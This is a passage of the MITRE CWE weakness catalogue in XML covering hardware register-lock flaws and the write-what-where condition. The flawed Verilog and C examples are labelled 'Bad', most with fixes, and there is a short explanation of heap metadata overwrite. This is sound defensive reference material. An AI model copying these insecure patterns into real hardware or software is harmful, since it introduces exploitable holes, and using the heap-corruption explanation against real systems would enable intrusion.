			input [REGISTER_WIDTH-1:0] Data_in, <xhtml:br/>
			input Clk, <xhtml:br/>
			input resetn, <xhtml:br/>
			input write, <xhtml:br/>
			output reg [REGISTER_WIDTH-1:0] Data_out <xhtml:br/>
			); <xhtml:br/>
			<xhtml:br/>
			reg Secure_mode; <xhtml:br/>
			<xhtml:br/>
			always @(posedge Clk or negedge resetn) <xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  if (~resetn) <xhtml:br/>
			  begin <xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
			    Data_out &lt;= REGISTER_DEFAULT; // Register content set to Default at reset <xhtml:br/>
			    Secure_mode &lt;= REGISTER_DEFAULT[0]; // Register Secure_mode set at reset <xhtml:br/>
			  </xhtml:div>
			  end <xhtml:br/>
			  else if (write &amp; ~Secure_mode) <xhtml:br/>
			  begin <xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
			    Data_out &lt;= Data_in; <xhtml:br/>
			  </xhtml:div>
			  end <xhtml:br/>
			</xhtml:div>
			endmodule <xhtml:br/>
                        <xhtml:br/>
                        <xhtml:br/>
			module register_top <xhtml:br/>
			( <xhtml:br/>
			input Clk, <xhtml:br/>
			input resetn, <xhtml:br/>
			input write, <xhtml:br/>
			input [31:0] Data_in, <xhtml:br/>
			output reg [31:0] Secure_reg, <xhtml:br/>
			output reg [31:0] Insecure_reg <xhtml:br/>
			); <xhtml:br/>
			<xhtml:br/>
			register_example #( <xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  .REGISTER_WIDTH (32), <xhtml:br/>
			  .REGISTER_DEFAULT (1224) // Incorrect Default value used bit 0 is 0. <xhtml:br/>
			</xhtml:div>
			) Insecure_Device_ID_1 ( <xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  .Data_in (Data_in), <xhtml:br/>
			  .Data_out (Secure_reg), <xhtml:br/>
			  .Clk (Clk), <xhtml:br/>
			  .resetn (resetn), <xhtml:br/>
			  .write (write) <xhtml:br/>
			</xhtml:div>
			); <xhtml:br/>
                        <xhtml:br/>
			register_example #(<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  .REGISTER_WIDTH (32) // Default not defined 2^32-2 value will be used as default. <xhtml:br/>
			</xhtml:div>
			) Insecure_Device_ID_2 ( <xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  .Data_in (Data_in), <xhtml:br/>
			  .Data_out (Insecure_reg), <xhtml:br/>
			  .Clk (Clk), <xhtml:br/>
			  .resetn (resetn), <xhtml:br/>
			  .write (write) <xhtml:br/>
			</xhtml:div>
			); <xhtml:br/>
                        <xhtml:br/>
			endmodule <xhtml:br/>
                    </Example_Code>
                    <Body_Text>These example instantiations show how, in a hardware design, it would be possible to instantiate the register module with insecure defaults and parameters.</Body_Text>
                    <Body_Text>In the example design, both registers will be software writable since Secure_mode is defined as zero. </Body_Text>
                    <Example_Code Nature="Good" Language="Verilog">
                      register_example #( <xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			.REGISTER_WIDTH (32), <xhtml:br/>
			.REGISTER_DEFAULT (1225) // Correct default value set, to enable Secure_mode <xhtml:br/>
		      </xhtml:div>
		      ) Secure_Device_ID_example ( <xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			.Data_in (Data_in), <xhtml:br/>
			.Data_out (Secure_reg), <xhtml:br/>
			.Clk (Clk), <xhtml:br/>
			.resetn (resetn), <xhtml:br/>
			.write (write) <xhtml:br/>
		      </xhtml:div>
		      );
                    </Example_Code>
                </Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="166"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2019-12-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1222" Name="Insufficient Granularity of Address Regions Protected by Register Locks" Abstraction="Variant" Structure="Simple" Status="Incomplete">
            <Description>The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.</Description>
            <Extended_Description>
                <xhtml:p>Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design, this is commonly implemented using a programmable lock bit which enables/disables writing to a protected set of registers or address regions. When the programmable lock bit is set, the relevant address region can be implemented as a hardcoded value in hardware logic that cannot be changed later.</xhtml:p>
                <xhtml:p>A problem can arise wherein the protected region definition is not granular enough. After the programmable lock bit has been set, then this new functionality cannot be implemented without change to the hardware design.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1220" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                    <Note>Such issues are introduced during hardware architecture and design since software controls and configuration are defined during these phases and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Access Control</Scope>
                    <Impact>Other</Impact>
                    <Note>System security configuration cannot be defined in a way that does not conflict with functional requirements of device.</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>
                        <xhtml:p>The defining of protected locked registers should be reviewed or tested early in the design phase with software teams to ensure software flows are not blocked by the security locks.</xhtml:p>
                        <xhtml:p>As an alternative to using register lock control bits and fixed access control regions, the hardware design could use programmable security access control configuration so that device trusted firmware can configure and change the protected regions based on software usage and security models.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>For example, consider a hardware unit with a 32 kilobyte configuration address space where the first 8 kilobyte address contains security sensitive controls that must only be writable by device bootloader. One way to protect the security configuration could be to define a 32 bit system configuration locking register (SYS_LOCK) where each bit lock locks the corresponding 1 kilobyte region. </Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">
                        <xhtml:table>
                            <xhtml:tbody>
                                <xhtml:tr>
                                    <xhtml:th>Address</xhtml:th>
                                    <xhtml:th>Register</xhtml:th>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>0x0000</xhtml:td>
                                    <xhtml:td>SYS_LOCK: 32 bit system configuration lock register, each bit is write-1-once</xhtml:td>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>0x0004</xhtml:td>
                                    <xhtml:td>SECURITY_FEATURE_ENABLE: 32 bit register controlling enabling of security features</xhtml:td>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>...</xhtml:td>
                                    <xhtml:td/>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>0x0310</xhtml:td>
                                    <xhtml:td>SW_MODE: 32 bit Software Mode indication register </xhtml:td>
                                </xhtml:tr>
                            </xhtml:tbody>
                        </xhtml:table>
                        <xhtml:table>
                            <xhtml:tbody>
                                <xhtml:tr>
                                    <xhtml:th>Address region</xhtml:th>
                                    <xhtml:th>Lock bit</xhtml:th>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>0x0000 - 0x03FF</xhtml:td>
                                    <xhtml:td>SYS_LOCK[0]</xhtml:td>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>0x0400 - 0x07FF</xhtml:td>
                                    <xhtml:td>SYS_LOCK[1]</xhtml:td>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>...</xhtml:td>
                                    <xhtml:td/>
                                </xhtml:tr>
                                <xhtml:tr>
                                    <xhtml:td>0x7C00 - 0x7FFF</xhtml:td>
                                    <xhtml:td>SYS_LOCK[31]</xhtml:td>
                                </xhtml:tr>
                            </xhtml:tbody>
                        </xhtml:table>
                    </Example_Code>
                    <Body_Text>If a register exists within the first kilobyte address range (e.g. SW_MODE, address 0x310) and needs to be software writable at runtime, then this register cannot be written in a securely configured system since SYS_LOCK register lock bit 0 must be set to protect other security settings (e.g. SECURITY_FEATURE_ENABLE, address 0x0004). The only fix would be to change the hardware logic or not set the security lock bit.</Body_Text>
                </Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2019-12-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1223" Name="Race Condition for Write-Once Attributes" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.</Description>
            <Extended_Description>
                <xhtml:p>Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make them write-once. This means the hardware implementation only allows writing to such registers once, and they become read-only after having been written once by software. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.</xhtml:p>
                <xhtml:p>Implementation issues in hardware design of such controls can expose such registers to a race condition security flaw. For example, consider a hardware design that has two different software/firmware modules executing in parallel. One module is trusted (module A) and another is untrusted (module B). In this design it could be possible for Module B to send write cycles to the write-once register before Module A. Since the field is write-once the programmed value from Module A will be ignored and the pre-empted value programmed by Module B will be used by hardware.</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Name="Verilog" Prevalence="Undetermined"/>
                <Language Name="VHDL" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                    <Note>This weakness can appear in designs that use register write-once attributes with two or more software/firmware modules with varying levels of trust executing in parallel.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Access Control</Scope>
                    <Impact>Bypass Protection Mechanism</Impact>
                    <Note>System configuration cannot be programmed in a secure way.</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>During hardware design all register write-once or sticky fields must be evaluated for proper configuration.</Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Testing</Phase>
                    <Description>The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.</Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>consider the example design module system verilog code shown below. register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Verilog">
                        module register_write_once_example<xhtml:br/>
                        (<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
                          input [15:0] Data_in,<xhtml:br/>
                          input Clk,<xhtml:br/>
                          input ip_resetn,<xhtml:br/>
                          input global_resetn,<xhtml:br/>
                          input write,<xhtml:br/>
                          output reg [15:0] Data_out<xhtml:br/>
						</xhtml:div>
                        );<xhtml:br/>
                        <xhtml:br/>
                        reg Write_once_status;<xhtml:br/>
                        <xhtml:br/>
                        always @(posedge Clk or negedge ip_resetn)<xhtml:br/>
                        if (~ip_resetn)<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
                          begin<xhtml:br/>
						  <xhtml:div style="margin-left:1em;">
							Data_out &lt;= 16'h0000; <xhtml:br/>
							Write_once_status &lt;= 1'b0;<xhtml:br/>
						  </xhtml:div>
						  end<xhtml:br/>
						</xhtml:div>
                        else if (write &amp; ~Write_once_status) <xhtml:br/>
						<xhtml:div style="margin-left:1em;">
                          begin<xhtml:br/>
						  <xhtml:div style="margin-left:1em;">
							Data_out &lt;= Data_in &amp; 16'hFFFE; // Input data written to register after masking bit 0<xhtml:br/>
							Write_once_status &lt;= 1'b1; // Write once status set after first write.<xhtml:br/>
						  </xhtml:div>
						  end<xhtml:br/>
						</xhtml:div>
						else if (~write)<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
                          begin<xhtml:br/>
						  <xhtml:div style="margin-left:1em;">
							Data_out[15:1] &lt;= Data_out[15:1];<xhtml:br/>
							Data_out[0] &lt;= Write_once_status;<xhtml:br/>
						  </xhtml:div>
                          end<xhtml:br/>
						</xhtml:div>
						endmodule<xhtml:br/>
                    </Example_Code>
                    <Body_Text>The first system component that sends a write cycle to this register can program the value. This could result in a race condition security issue in the SoC design, if an untrusted agent is running in the system in parallel with the trusted component that is expected to program the register.</Body_Text>
                    <Example_Code Nature="Good">
                        Trusted firmware or software trying to set the write-once field:
						<xhtml:ul>
						  <xhtml:li>Must confirm the Write_once_status (bit 0) value is zero, before programming register. If another agent has programmed the register before, then Write_once_status value will be one.</xhtml:li>
						  <xhtml:li>After writing to the register, the trusted software can issue a read to confirm that the valid setting has been programmed.</xhtml:li>
						</xhtml:ul>
                    </Example_Code>
                </Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2019-12-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1224" Name="Improper Restriction of Write-Once Bit Fields" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.</Description>
            <Extended_Description>
                <xhtml:p>Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to define default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make the settings write-once or "sticky." This allows writing to such registers only once, whereupon they become read-only. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.</xhtml:p>
                <xhtml:p>Failure to implement write-once restrictions in hardware design can expose such registers to being re-programmed by software and written multiple times. For example, write-once fields could be implemented to only be write-protected if they have been set to value "1", wherein they would work as "write-1-once" and not "write-once".</xhtml:p>
            </Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Name="Verilog" Prevalence="Undetermined"/>
                <Language Name="VHDL" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>Such issues could be introduced during implementation of hardware design, since IP parameters and defaults are defined in HDL code and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Integrity</Scope>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Impact>Varies by Context</Impact>
                    <Note>System configuration cannot be programmed in a secure way.</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>During hardware design all register write-once or sticky fields must be evaluated for proper configuration.</Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Testing</Phase>
                    <Description>The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.</Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Consider the example design module system verilog code shown below. register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value. This implementation can be for a register that is defined by specification to be a write-once register, since the write_once_status field gets written by input data bit 0 on first write. </Intro_Text>
                    <Example_Code Nature="Bad" Language="Verilog">
                      module register_write_once_example<xhtml:br/>
		      ( <xhtml:br/>
		      input [15:0] Data_in, <xhtml:br/>
		      input Clk, <xhtml:br/>
		      input ip_resetn, <xhtml:br/>
		      input global_resetn,<xhtml:br/>
		      input write,<xhtml:br/>
		      output reg [15:0] Data_out <xhtml:br/>
		      );<xhtml:br/>
		      <xhtml:br/>
		      reg Write_once_status; <xhtml:br/>
                      <xhtml:br/>
		      always @(posedge Clk or negedge ip_resetn)<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
			if (~ip_resetn)<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  Data_out &lt;= 16'h0000;<xhtml:br/>
			  Write_once_status &lt;= 1'b0; <xhtml:br/>
			</xhtml:div>
			end <xhtml:br/>
			else if (write &amp; ~Write_once_status)<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  Data_out &lt;= Data_in &amp; 16'hFFFE;<xhtml:br/>
			  Write_once_status &lt;= Data_in[0]; // Input bit 0 sets Write_once_status<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
			else if (~write)<xhtml:br/>
			begin <xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  Data_out[15:1] &lt;= Data_out[15:1]; <xhtml:br/>
			  Data_out[0] &lt;= Write_once_status; <xhtml:br/>
			</xhtml:div>
			end <xhtml:br/>
			</xhtml:div>
			endmodule<xhtml:br/>
                    </Example_Code>
                    <Body_Text>The above example only locks further writes if write_once_status bit is written to one. So it acts as write_1-Once instead of the write-once attribute.</Body_Text>
                    <Example_Code Nature="Good" Language="Verilog">
                        module register_write_once_example <xhtml:br/>
			( <xhtml:br/>
			input [15:0] Data_in, <xhtml:br/>
			input Clk, <xhtml:br/>
			input ip_resetn, <xhtml:br/>
			input global_resetn, <xhtml:br/>
			input write, <xhtml:br/>
			output reg [15:0] Data_out <xhtml:br/>
			); <xhtml:br/>
			<xhtml:br/>
			reg Write_once_status; <xhtml:br/>
                        <xhtml:br/>
			always @(posedge Clk or negedge ip_resetn) <xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  if (~ip_resetn) <xhtml:br/>
			  begin <xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
			    Data_out &lt;= 16'h0000; <xhtml:br/>
			    Write_once_status &lt;= 1'b0; <xhtml:br/>
			  </xhtml:div>
			  end <xhtml:br/>
			  else if (write &amp; ~Write_once_status) <xhtml:br/>
			  begin <xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
			    Data_out &lt;= Data_in &amp; 16'hFFFE; <xhtml:br/>
			    Write_once_status &lt;= 1'b1; // Write once status set on first write, independent of input <xhtml:br/>
			  </xhtml:div>
			  end <xhtml:br/>
			  else if (~write) <xhtml:br/>
			  begin <xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
			    Data_out[15:1] &lt;= Data_out[15:1]; <xhtml:br/>
			    Data_out[0] &lt;= Write_once_status; <xhtml:br/>
			  </xhtml:div>
			  end <xhtml:br/>
			</xhtml:div>
			<xhtml:br/>
			endmodule<xhtml:br/>
                    </Example_Code>
                </Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="680"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2019-12-12</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1229" Name="Creation of Emergent Resource" Abstraction="Class" Structure="Simple" Status="Incomplete">
            <Description>The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.</Description>
            <Extended_Description>
                <xhtml:p>A product is only expected to behave in a way that was specifically intended by the developer.  Resource allocation and management is expected to be performed explicitly by the associated code.  However, in systems with complex behavior, the product might indirectly produce new kinds of resources that were never intended in the original design.  For example, a covert channel is a resource that was never explicitly intended by the developer, but it is useful to attackers.  "Parasitic computing," while not necessarily malicious in nature, effectively tricks a product into performing unintended computations on behalf of another party.</xhtml:p>
            </Extended_Description>
            <Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
         <References>
            <Reference External_Reference_ID="REF-1049"/>
         </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-01-22</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="123" Name="Write-what-where Condition" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="787" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Modify Memory</Impact>
               <Note>Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>Use a language that provides appropriate memory abstractions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Use OS-level preventative functionality integrated after the fact. Not a complete solution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define BUFSIZE 256<xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *buf1 = (char *) malloc(BUFSIZE);<xhtml:br/>char *buf2 = (char *) malloc(BUFSIZE);<xhtml:br/>strcpy(buf1, argv[1]);<xhtml:br/>free(buf2);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Vulnerability in this case is dependent on memory layout. The call to strcpy() can be used to write past the end of buf1, and, with a typical layout, can overwrite the accounting information that the system keeps for buf2 when it is allocated. Note that if the allocation header for buf2 can be overwritten, buf2 itself can be overwritten as well.</Body_Text>
               <Body_Text>The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for buf2 will probably be buf1, and the next chunk may be null. When the free() occurs, most memory allocators will rewrite the linked list using data from buf2. Particularly, the "next" chunk for buf1 will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.</Body_Text>
